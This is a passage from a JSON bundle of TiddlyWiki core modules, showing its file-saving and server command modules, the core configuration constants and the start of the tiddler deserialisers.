"text": "/*\\\ntitle: $:/core/modules/commands/save.js\ntype: application/javascript\nmodule-type: command\n\nSaves individual tiddlers in their raw text or binary format to the specified files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"save\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filename filter\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\ttiddlerFilter = this.params[0],\n\t\tfilenameFilter = this.params[1] || \"[is[tiddler]]\",\n\t\ttiddlers = wiki.filterTiddlers(tiddlerFilter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.commander.wiki.getTiddler(title),\n\t\t\ttype = tiddler.fields.type || \"text/vnd.tiddlywiki\",\n\t\t\tcontentTypeInfo = $tw.config.contentTypeInfo[type] || {encoding: \"utf8\"},\n\t\t\tfilepath = path.resolve(self.commander.outputPath,wiki.filterTiddlers(filenameFilter,$tw.rootWidget,wiki.makeTiddlerIterator([title]))[0]);\n\t\tif(self.commander.verbose) {\n\t\t\tconsole.log(\"Saving \\\"\" + title + \"\\\" to \\\"\" + filepath + \"\\\"\");\n\t\t}\n\t\t$tw.utils.createFileDirectories(filepath);\n\t\tfs.writeFileSync(filepath,tiddler.fields.text,contentTypeInfo.encoding);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/savelibrarytiddlers.js": {
"title": "$:/core/modules/commands/savelibrarytiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/commands/savelibrarytiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save the subtiddlers of a bundle tiddler as a series of JSON files\n\n--savelibrarytiddlers <tiddler> <pathname> <skinnylisting>\n\nThe tiddler identifies the bundle tiddler that contains the subtiddlers.\n\nThe pathname specifies the pathname to the folder in which the JSON files should be saved. The filename is the URL encoded title of the subtiddler.\n\nThe skinnylisting specifies the title of the tiddler to which a JSON catalogue of the subtiddlers will be saved. The JSON file contains the same data as the bundle tiddler but with the `text` field removed.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"savelibrarytiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\tcontainerTitle = this.params[0],\n\t\tfilter = this.params[1],\n\t\tbasepath = this.params[2],\n\t\tskinnyListTitle = this.params[3];\n\t// Get the container tiddler as data\n\tvar containerData = self.commander.wiki.getTiddlerDataCached(containerTitle,undefined);\n\tif(!containerData) {\n\t\treturn \"'\" + containerTitle + \"' is not a tiddler bundle\";\n\t}\n\t// Filter the list of plugins\n\tvar pluginList = [];\n\t$tw.utils.each(containerData.tiddlers,function(tiddler,title) {\n\t\tpluginList.push(title);\n\t});\n\tvar filteredPluginList;\n\tif(filter) {\n\t\tfilteredPluginList = self.commander.wiki.filterTiddlers(filter,null,self.commander.wiki.makeTiddlerIterator(pluginList));\n\t} else {\n\t\tfilteredPluginList = pluginList;\n\t}\n\t// Iterate through the plugins\n\tvar skinnyList = [];\n\t$tw.utils.each(filteredPluginList,function(title) {\n\t\tvar tiddler = containerData.tiddlers[title];\n\t\t// Save each JSON file and collect the skinny data\n\t\tvar pathname = path.resolve(self.commander.outputPath,basepath + encodeURIComponent(title) + \".json\");\n\t\t$tw.utils.createFileDirectories(pathname);\n\t\tfs.writeFileSync(pathname,JSON.stringify(tiddler),\"utf8\");\n\t\t// Collect the skinny list data\n\t\tvar pluginTiddlers = JSON.parse(tiddler.text),\n\t\t\treadmeContent = (pluginTiddlers.tiddlers[title + \"/readme\"] || {}).text,\n\t\t\tdoesRequireReload = !!$tw.wiki.doesPluginInfoRequireReload(pluginTiddlers),\n\t\t\ticonTiddler = pluginTiddlers.tiddlers[title + \"/icon\"] || {},\n\t\t\ticonType = iconTiddler.type,\n\t\t\ticonText = iconTiddler.text,\n\t\t\ticonContent;\n\t\tif(iconType && iconText) {\n\t\t\ticonContent = $tw.utils.makeDataUri(iconText,iconType);\n\t\t}\n\t\tskinnyList.push($tw.utils.extend({},tiddler,{\n\t\t\ttext: undefined,\n\t\t\treadme: readmeContent,\n\t\t\t\"requires-reload\": doesRequireReload ? \"yes\" : \"no\",\n\t\t\ticon: iconContent\n\t\t}));\n\t});\n\t// Save the catalogue tiddler\n\tif(skinnyListTitle) {\n\t\tself.commander.wiki.setTiddlerData(skinnyListTitle,skinnyList);\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/savetiddler.js": {
"title": "$:/core/modules/commands/savetiddler.js",
"text": "/*\\\ntitle: $:/core/modules/commands/savetiddler.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save the content of a tiddler to a file\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"savetiddler\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\ttitle = this.params[0],\n\t\tfilename = path.resolve(this.commander.outputPath,this.params[1]),\n\t\ttiddler = this.commander.wiki.getTiddler(title);\n\tif(tiddler) {\n\t\tvar type = tiddler.fields.type || \"text/vnd.tiddlywiki\",\n\t\t\tcontentTypeInfo = $tw.config.contentTypeInfo[type] || {encoding: \"utf8\"};\n\t\t$tw.utils.createFileDirectories(filename);\n\t\tfs.writeFile(filename,tiddler.fields.text,contentTypeInfo.encoding,function(err) {\n\t\t\tself.callback(err);\n\t\t});\n\t} else {\n\t\treturn \"Missing tiddler: \" + title;\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/savetiddlers.js": {
"title": "$:/core/modules/commands/savetiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/commands/savetiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save several tiddlers to a folder of files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"savetiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\tpathname = path.resolve(this.commander.outputPath,this.params[1]),\n\t\tdeleteDirectory = (this.params[2] || \"\").toLowerCase() !== \"noclean\",\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\tif(deleteDirectory) {\n\t\t$tw.utils.deleteDirectory(pathname);\n\t}\n\t$tw.utils.createDirectory(pathname);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = self.commander.wiki.getTiddler(title),\n\t\t\ttype = tiddler.fields.type || \"text/vnd.tiddlywiki\",\n\t\t\tcontentTypeInfo = $tw.config.contentTypeInfo[type] || {encoding: \"utf8\"},\n\t\t\tfilename = path.resolve(pathname,encodeURIComponent(title));\n\t\tfs.writeFileSync(filename,tiddler.fields.text,contentTypeInfo.encoding);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/savewikifolder.js": {
"title": "$:/core/modules/commands/savewikifolder.js",
"text": "/*\\\ntitle: $:/core/modules/commands/savewikifolder.js\ntype: application/javascript\nmodule-type: command\n\nCommand to save the current wiki as a wiki folder\n\n--savewikifolder <wikifolderpath> [<filter>]\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"savewikifolder\",\n\tsynchronous: true\n};\n\nvar fs,path;\nif($tw.node) {\n\tfs = require(\"fs\");\n\tpath = require(\"path\");\n}\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing wiki folder path\";\n\t}\n\tvar wikifoldermaker = new WikiFolderMaker(this.params[0],this.params[1],this.commander);\n\treturn wikifoldermaker.save();\n};\n\nfunction WikiFolderMaker(wikiFolderPath,wikiFilter,commander) {\n\tthis.wikiFolderPath = wikiFolderPath;\n\tthis.wikiFilter = wikiFilter || \"[all[tiddlers]]\";\n\tthis.commander = commander;\n\tthis.wiki = commander.wiki;\n\tthis.savedPaths = []; // So that we can detect filename clashes\n}\n\nWikiFolderMaker.prototype.log = function(str) {\n\tif(this.commander.verbose) {\n\t\tconsole.log(str);\n\t}\n};\n\nWikiFolderMaker.prototype.tiddlersToIgnore = [\n\t\"$:/boot/boot.css\",\n\t\"$:/boot/boot.js\",\n\t\"$:/boot/bootprefix.js\",\n\t\"$:/core\",\n\t\"$:/library/sjcl.js\",\n\t\"$:/temp/info-plugin\"\n];\n\n/*\nReturns null if successful, or an error string if there was an error\n*/\nWikiFolderMaker.prototype.save = function() {\n\tvar self = this;\n\t// Check that the output directory doesn't exist\n\tif(fs.existsSync(this.wikiFolderPath) && !$tw.utils.isDirectoryEmpty(this.wikiFolderPath)) {\n\t\treturn \"The unpackwiki command requires that the output wiki folder be empty\";\n\t}\n\t// Get the tiddlers from the source wiki\n\tvar tiddlerTitles = this.wiki.filterTiddlers(this.wikiFilter);\n\t// Initialise a new tiddlwiki.info file\n\tvar newWikiInfo = {};\n\t// Process each incoming tiddler in turn\n\t$tw.utils.each(tiddlerTitles,function(title) {\n\t\tvar tiddler = self.wiki.getTiddler(title);\n\t\tif(tiddler) {\n\t\t\tif(self.tiddlersToIgnore.indexOf(title) !== -1) {\n\t\t\t\t// Ignore the core plugin and the ephemeral info plugin\n\t\t\t\tself.log(\"Ignoring tiddler: \" + title);\n\t\t\t} else {\n\t\t\t\tvar type = tiddler.fields.type,\n\t\t\t\t\tpluginType = tiddler.fields[\"plugin-type\"];\n\t\t\t\tif(type === \"application/json\" && pluginType) {\n\t\t\t\t\t// Plugin tiddler\n\t\t\t\t\tvar libraryDetails = self.findPluginInLibrary(title);\n\t\t\t\t\tif(libraryDetails) {\n\t\t\t\t\t\t// A plugin from the core library\n\t\t\t\t\t\tself.log(\"Adding built-in plugin: \" + libraryDetails.name);\n\t\t\t\t\t\tnewWikiInfo[libraryDetails.type] = newWikiInfo[libraryDetails.type] || [];\n\t\t\t\t\t\t$tw.utils.pushTop(newWikiInfo[libraryDetails.type],libraryDetails.name);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// A custom plugin\n\t\t\t\t\t\tself.log(\"Processing custom plugin: \" + title);\n\t\t\t\t\t\tself.saveCustomPlugin(tiddler);\n\t\t\t\t\t}\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\t// Ordinary tiddler\n\t\t\t\t\tself.saveTiddler(\"tiddlers\",tiddler);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\t// Save the tiddlywiki.info file\n\tthis.saveJSONFile(\"tiddlywiki.info\",newWikiInfo);\n\tself.log(\"Writing tiddlywiki.info: \" + JSON.stringify(newWikiInfo,null,$tw.config.preferences.jsonSpaces));\n\treturn null;\n};\n\n/*\nTest whether the specified tiddler is a plugin in the plugin library\n*/\nWikiFolderMaker.prototype.findPluginInLibrary = function(title) {\n\tvar parts = title.split(\"/\"),\n\t\tpluginPath, type, name;\n\tif(parts[0] === \"$:\") {\n\t\tif(parts[1] === \"languages\" && parts.length === 3) {\n\t\t\tpluginPath = \"languages\" + path.sep + parts[2];\n\t\t\ttype = parts[1];\n\t\t\tname = parts[2];\n\t\t} else if(parts[1] === \"plugins\" || parts[1] === \"themes\" && parts.length === 4) {\n\t\t\tpluginPath = parts[1] + path.sep + parts[2] + path.sep + parts[3];\n\t\t\ttype = parts[1];\n\t\t\tname = parts[2] + \"/\" + parts[3];\n\t\t}\n\t}\n\tif(pluginPath && type && name) {\n\t\tpluginPath = path.resolve($tw.boot.bootPath,\"..\",pluginPath);\n\t\tif(fs.existsSync(pluginPath)) {\n\t\t\treturn {\n\t\t\t\tpluginPath: pluginPath,\n\t\t\t\ttype: type,\n\t\t\t\tname: name\n\t\t\t};\n\t\t}\n\t}\n\treturn false;\n};\n\nWikiFolderMaker.prototype.saveCustomPlugin = function(pluginTiddler) {\n\tvar self = this,\n\t\tpluginTitle = pluginTiddler.fields.title,\n\t\ttitleParts = pluginTitle.split(\"/\"),\n\t\tdirectory = $tw.utils.generateTiddlerFilepath(titleParts[titleParts.length - 1],{\n\t\t\tdirectory: path.resolve(this.wikiFolderPath,pluginTiddler.fields[\"plugin-type\"] + \"s\")\n\t\t}),\n\t\tpluginInfo = pluginTiddler.getFieldStrings({exclude: [\"text\",\"type\"]});\n\tthis.saveJSONFile(directory + path.sep + \"plugin.info\",pluginInfo);\n\tself.log(\"Writing \" + directory + path.sep + \"plugin.info: \" + JSON.stringify(pluginInfo,null,$tw.config.preferences.jsonSpaces));\n\tvar pluginTiddlers = JSON.parse(pluginTiddler.fields.text).tiddlers; // A hashmap of tiddlers in the plugin\n\t$tw.utils.each(pluginTiddlers,function(tiddler) {\n\t\tself.saveTiddler(directory,new $tw.Tiddler(tiddler));\n\t});\n};\n\nWikiFolderMaker.prototype.saveTiddler = function(directory,tiddler) {\n\tvar fileInfo = $tw.utils.generateTiddlerFileInfo(tiddler,{\n\t\tdirectory: path.resolve(this.wikiFolderPath,directory),\n\t\twiki: this.wiki\n\t});\n\t$tw.utils.saveTiddlerToFileSync(tiddler,fileInfo);\n};\n\nWikiFolderMaker.prototype.saveJSONFile = function(filename,json) {\n\tthis.saveTextFile(filename,JSON.stringify(json,null,$tw.config.preferences.jsonSpaces));\n};\n\nWikiFolderMaker.prototype.saveTextFile = function(filename,data) {\n\tthis.saveFile(filename,\"utf8\",data);\n};\n\nWikiFolderMaker.prototype.saveFile = function(filename,encoding,data) {\n\tvar filepath = path.resolve(this.wikiFolderPath,filename);\n\t$tw.utils.createFileDirectories(filepath);\n\tfs.writeFileSync(filepath,data,encoding);\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/server.js": {
"title": "$:/core/modules/commands/server.js",
"text": "/*\\\ntitle: $:/core/modules/commands/server.js\ntype: application/javascript\nmodule-type: command\n\nDeprecated legacy command for serving tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Server = require(\"$:/core/modules/server/server.js\").Server;\n\nexports.info = {\n\tname: \"server\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tvar self = this;\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(!$tw.boot.wikiTiddlersPath) {\n\t\t$tw.utils.warning(\"Warning: Wiki folder '\" + $tw.boot.wikiPath + \"' does not exist or is missing a tiddlywiki.info file\");\n\t}\n\t// Set up server\n\tthis.server = new Server({\n\t\twiki: this.commander.wiki,\n\t\tvariables: {\n\t\t\tport: this.params[0],\n\t\t\thost: this.params[6],\n\t\t\t\"root-tiddler\": this.params[1],\n\t\t\t\"root-render-type\": this.params[2],\n\t\t\t\"root-serve-type\": this.params[3],\n\t\t\tusername: this.params[4],\n\t\t\tpassword: this.params[5],\n\t\t\t\"path-prefix\": this.params[7],\n\t\t\t\"debug-level\": this.params[8]\n\t\t}\n\t});\n\tvar nodeServer = this.server.listen();\n\t$tw.hooks.invokeHook(\"th-server-command-post-start\",this.server,nodeServer,\"tiddlywiki\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/setfield.js": {
"title": "$:/core/modules/commands/setfield.js",
"text": "/*\\\ntitle: $:/core/modules/commands/setfield.js\ntype: application/javascript\nmodule-type: command\n\nCommand to modify selected tiddlers to set a field to the text of a template tiddler that has been wikified with the selected tiddler as the current tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"setfield\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 4) {\n\t\treturn \"Missing parameters\";\n\t}\n\tvar self = this,\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\tfieldname = this.params[1] || \"text\",\n\t\ttemplatetitle = this.params[2],\n\t\trendertype = this.params[3] || \"text/plain\",\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar parser = wiki.parseTiddler(templatetitle),\n\t\t\tnewFields = {},\n\t\t\ttiddler = wiki.getTiddler(title);\n\t\tif(parser) {\n\t\t\tvar widgetNode = wiki.makeWidget(parser,{variables: {currentTiddler: title}});\n\t\t\tvar container = $tw.fakeDocument.createElement(\"div\");\n\t\t\twidgetNode.render(container,null);\n\t\t\tnewFields[fieldname] = rendertype === \"text/html\" ? container.innerHTML : container.textContent;\n\t\t} else {\n\t\t\tnewFields[fieldname] = undefined;\n\t\t}\n\t\twiki.addTiddler(new $tw.Tiddler(tiddler,newFields));\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/unpackplugin.js": {
"title": "$:/core/modules/commands/unpackplugin.js",
"text": "/*\\\ntitle: $:/core/modules/commands/unpackplugin.js\ntype: application/javascript\nmodule-type: command\n\nCommand to extract the shadow tiddlers from within a plugin\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"unpackplugin\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing plugin name\";\n\t}\n\tvar self = this,\n\t\ttitle = this.params[0],\n\t\tpluginData = this.commander.wiki.getTiddlerDataCached(title);\n\tif(!pluginData) {\n\t\treturn \"Plugin '\" + title + \"' not found\";\n\t}\n\t$tw.utils.each(pluginData.tiddlers,function(tiddler) {\n\t\tself.commander.wiki.addTiddler(new $tw.Tiddler(tiddler));\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/verbose.js": {
"title": "$:/core/modules/commands/verbose.js",
"text": "/*\\\ntitle: $:/core/modules/commands/verbose.js\ntype: application/javascript\nmodule-type: command\n\nVerbose command\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"verbose\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tthis.commander.verbose = true;\n\t// Output the boot message log\n\tthis.commander.streams.output.write(\"Boot log:\\n \" + $tw.boot.logMessages.join(\"\\n \") + \"\\n\");\n\treturn null; // No error\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/version.js": {
"title": "$:/core/modules/commands/version.js",
"text": "/*\\\ntitle: $:/core/modules/commands/version.js\ntype: application/javascript\nmodule-type: command\n\nVersion command\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"version\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tthis.commander.streams.output.write($tw.version + \"\\n\");\n\treturn null; // No error\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/config.js": {
"title": "$:/core/modules/config.js",
"text": "/*\\\ntitle: $:/core/modules/config.js\ntype: application/javascript\nmodule-type: config\n\nCore configuration constants\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.preferences = {};\n\nexports.preferences.notificationDuration = 3 * 1000;\nexports.preferences.jsonSpaces = 4;\n\nexports.textPrimitives = {\n\tupperLetter: \"[A-Z\\u00c0-\\u00d6\\u00d8-\\u00de\\u0150\\u0170]\",\n\tlowerLetter: \"[a-z\\u00df-\\u00f6\\u00f8-\\u00ff\\u0151\\u0171]\",\n\tanyLetter: \"[A-Za-z0-9\\u00c0-\\u00d6\\u00d8-\\u00de\\u00df-\\u00f6\\u00f8-\\u00ff\\u0150\\u0170\\u0151\\u0171]\",\n\tblockPrefixLetters:\t\"[A-Za-z0-9-_\\u00c0-\\u00d6\\u00d8-\\u00de\\u00df-\\u00f6\\u00f8-\\u00ff\\u0150\\u0170\\u0151\\u0171]\"\n};\n\nexports.textPrimitives.unWikiLink = \"~\";\nexports.textPrimitives.wikiLink = exports.textPrimitives.upperLetter + \"+\" +\n\texports.textPrimitives.lowerLetter + \"+\" +\n\texports.textPrimitives.upperLetter +\n\texports.textPrimitives.anyLetter + \"*\";\n\nexports.htmlEntities = {quot:34, amp:38, apos:39, lt:60, gt:62, nbsp:160, iexcl:161, cent:162, pound:163, curren:164, yen:165, brvbar:166, sect:167, uml:168, copy:169, ordf:170, laquo:171, not:172, shy:173, reg:174, macr:175, deg:176, plusmn:177, sup2:178, sup3:179, acute:180, micro:181, para:182, middot:183, cedil:184, sup1:185, ordm:186, raquo:187, frac14:188, frac12:189, frac34:190, iquest:191, Agrave:192, Aacute:193, Acirc:194, Atilde:195, Auml:196, Aring:197, AElig:198, Ccedil:199, Egrave:200, Eacute:201, Ecirc:202, Euml:203, Igrave:204, Iacute:205, Icirc:206, Iuml:207, ETH:208, Ntilde:209, Ograve:210, Oacute:211, Ocirc:212, Otilde:213, Ouml:214, times:215, Oslash:216, Ugrave:217, Uacute:218, Ucirc:219, Uuml:220, Yacute:221, THORN:222, szlig:223, agrave:224, aacute:225, acirc:226, atilde:227, auml:228, aring:229, aelig:230, ccedil:231, egrave:232, eacute:233, ecirc:234, euml:235, igrave:236, iacute:237, icirc:238, iuml:239, eth:240, ntilde:241, ograve:242, oacute:243, ocirc:244, otilde:245, ouml:246, divide:247, oslash:248, ugrave:249, uacute:250, ucirc:251, uuml:252, yacute:253, thorn:254, yuml:255, OElig:338, oelig:339, Scaron:352, scaron:353, Yuml:376, fnof:402, circ:710, tilde:732, Alpha:913, Beta:914, Gamma:915, Delta:916, Epsilon:917, Zeta:918, Eta:919, Theta:920, Iota:921, Kappa:922, Lambda:923, Mu:924, Nu:925, Xi:926, Omicron:927, Pi:928, Rho:929, Sigma:931, Tau:932, Upsilon:933, Phi:934, Chi:935, Psi:936, Omega:937, alpha:945, beta:946, gamma:947, delta:948, epsilon:949, zeta:950, eta:951, theta:952, iota:953, kappa:954, lambda:955, mu:956, nu:957, xi:958, omicron:959, pi:960, rho:961, sigmaf:962, sigma:963, tau:964, upsilon:965, phi:966, chi:967, psi:968, omega:969, thetasym:977, upsih:978, piv:982, ensp:8194, emsp:8195, thinsp:8201, zwnj:8204, zwj:8205, lrm:8206, rlm:8207, ndash:8211, mdash:8212, lsquo:8216, rsquo:8217, sbquo:8218, ldquo:8220, rdquo:8221, bdquo:8222, dagger:8224, Dagger:8225, bull:8226, hellip:8230, permil:8240, prime:8242, Prime:8243, lsaquo:8249, rsaquo:8250, oline:8254, frasl:8260, euro:8364, image:8465, weierp:8472, real:8476, trade:8482, alefsym:8501, larr:8592, uarr:8593, rarr:8594, darr:8595, harr:8596, crarr:8629, lArr:8656, uArr:8657, rArr:8658, dArr:8659, hArr:8660, forall:8704, part:8706, exist:8707, empty:8709, nabla:8711, isin:8712, notin:8713, ni:8715, prod:8719, sum:8721, minus:8722, lowast:8727, radic:8730, prop:8733, infin:8734, ang:8736, and:8743, or:8744, cap:8745, cup:8746, int:8747, there4:8756, sim:8764, cong:8773, asymp:8776, ne:8800, equiv:8801, le:8804, ge:8805, sub:8834, sup:8835, nsub:8836, sube:8838, supe:8839, oplus:8853, otimes:8855, perp:8869, sdot:8901, lceil:8968, rceil:8969, lfloor:8970, rfloor:8971, lang:9001, rang:9002, loz:9674, spades:9824, clubs:9827, hearts:9829, diams:9830 };\n\nexports.htmlVoidElements = \"area,base,br,col,command,embed,hr,img,input,keygen,link,meta,param,source,track,wbr\".split(\",\");\n\nexports.htmlBlockElements = \"address,article,aside,audio,blockquote,canvas,dd,div,dl,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,hr,li,noscript,ol,output,p,pre,section,table,tfoot,ul,video\".split(\",\");\n\nexports.htmlUnsafeElements = \"script\".split(\",\");\n\n})();\n",
"type": "application/javascript",
"module-type": "config"
},
"$:/core/modules/deserializers.js": {
"title": "$:/core/modules/deserializers.js",
"text": "/*\\\ntitle: $:/core/modules/deserializers.js\ntype: application/javascript\nmodule-type: tiddlerdeserializer\n\nFunctions to deserialise tiddlers from a block of text\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nUtility function to parse an old-style tiddler DIV in a *.tid file. It looks like this:\n\n<div title=\"Title\" creator=\"JoeBloggs\" modifier=\"JoeBloggs\" created=\"201102111106\" modified=\"201102111310\" tags=\"myTag [[my long tag]]\">\n<pre>The text of the tiddler (without the expected HTML encoding).\n</pre>\n</div>\n\nNote that the field attributes are HTML encoded, but that the body of the <PRE> tag is not encoded.\n\nWhen these tiddler DIVs are encountered within a TiddlyWiki HTML file then the body is encoded in the usual way.\n*/\nvar parseTiddlerDiv = function(text /* [,fields] */) {\n\t// Slot together the default results\n\tvar result = {};\n\tif(arguments.length > 1) {\n\t\tfor(var f=1; f<arguments.length; f++) {\n\t\t\tvar fields = arguments[f];\n\t\t\tfor(var t in fields) {\n\t\t\t\tresult[t] = fields[t];\t\t\n\t\t\t}\n\t\t}\n\t}\n\t// Parse the DIV body\n\tvar startRegExp = /^\\s*<div\\s+([^>]*)>(\\s*<pre>)?/gi,\n\t\tendRegExp,\n\t\tmatch = startRegExp.exec(text);\n\tif(match) {\n\t\t// Old-style DIVs don't have the <pre> tag\n\t\tif(match[2]) {\n\t\t\tendRegExp = /<\\/pre>\\s*<\\/div>\\s*$/gi;\n\t\t} else {\n\t\t\tendRegExp = /<\\/div>\\s*$/gi;\n\t\t}\n\t\tvar endMatch = endRegExp.exec(text);\n\t\tif(endMatch) {\n\t\t\t// Extract the text\n\t\t\tresult.text = text.substring(match.index + match[0].length,endMatch.index);\n\t\t\t// Process the attributes\n\t\t\tvar attrRegExp = /\\s*([^=\\s]+)\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)')/gi,\n\t\t\t\tattrMatch;\n\t\t\tdo {\n\t\t\t\tattrMatch = attrRegExp.exec(match[1]);\n\t\t\t\tif(attrMatch) {\n\t\t\t\t\tvar name = attrMatch[1];\n\t\t\t\t\tvar value = attrMatch[2] !== undefined ? attrMatch[2] : attrMatch[3];\n\t\t\t\t\tresult[name] = value;\n\t\t\t\t}\n\t\t\t} while(attrMatch);\n\t\t\treturn result;\n\t\t}\n\t}\n\treturn undefined;\n};\n\nexports[\"application/x-tiddler-html-div\"] = function(text,fields) {\n\treturn [parseTiddlerDiv(text,fields)];\n};\n\nexports[\"application/json\"] = function(text,fields) {\n\tvar incoming,\n\t\tresults = [];\n\ttry {\n\t\tincoming = JSON.parse(text);\n\t} catch(e) {\n\t\tincoming = [{\n\t\t\ttitle: \"JSON error: \" + e,\n\t\t\ttext: \"\"\n\t\t}]\n\t}\n\tif(!$tw.utils.isArray(incoming)) {\n\t\tincoming = [incoming];\n\t}\n\tfor(var t=0; t<incoming.length; t++) {\n\t\tvar incomingFields = incoming[t],\n\t\t\tfields = {};\n\t\tfor(var f in incomingFields) {\n\t\t\tif(typeof incomingFields[f] === \"string\") {\n\t\t\t\tfields[f] = incomingFields[f];\n\t\t\t}\n\t\t}\n\t\tresults.push(fields);\n\t}\n\treturn results;\n};\n\n/*\nParse an HTML file into tiddlers. There are three possibilities:\n# A TiddlyWiki classic HTML file containing `text/x-tiddlywiki` tiddlers\n# A TiddlyWiki5 HTML file containing `text/vnd.tiddlywiki` tiddlers\n# An ordinary HTML file\n*/\nexports[\"text/html\"] = function(text,fields) {\n\t// Check if we've got a store 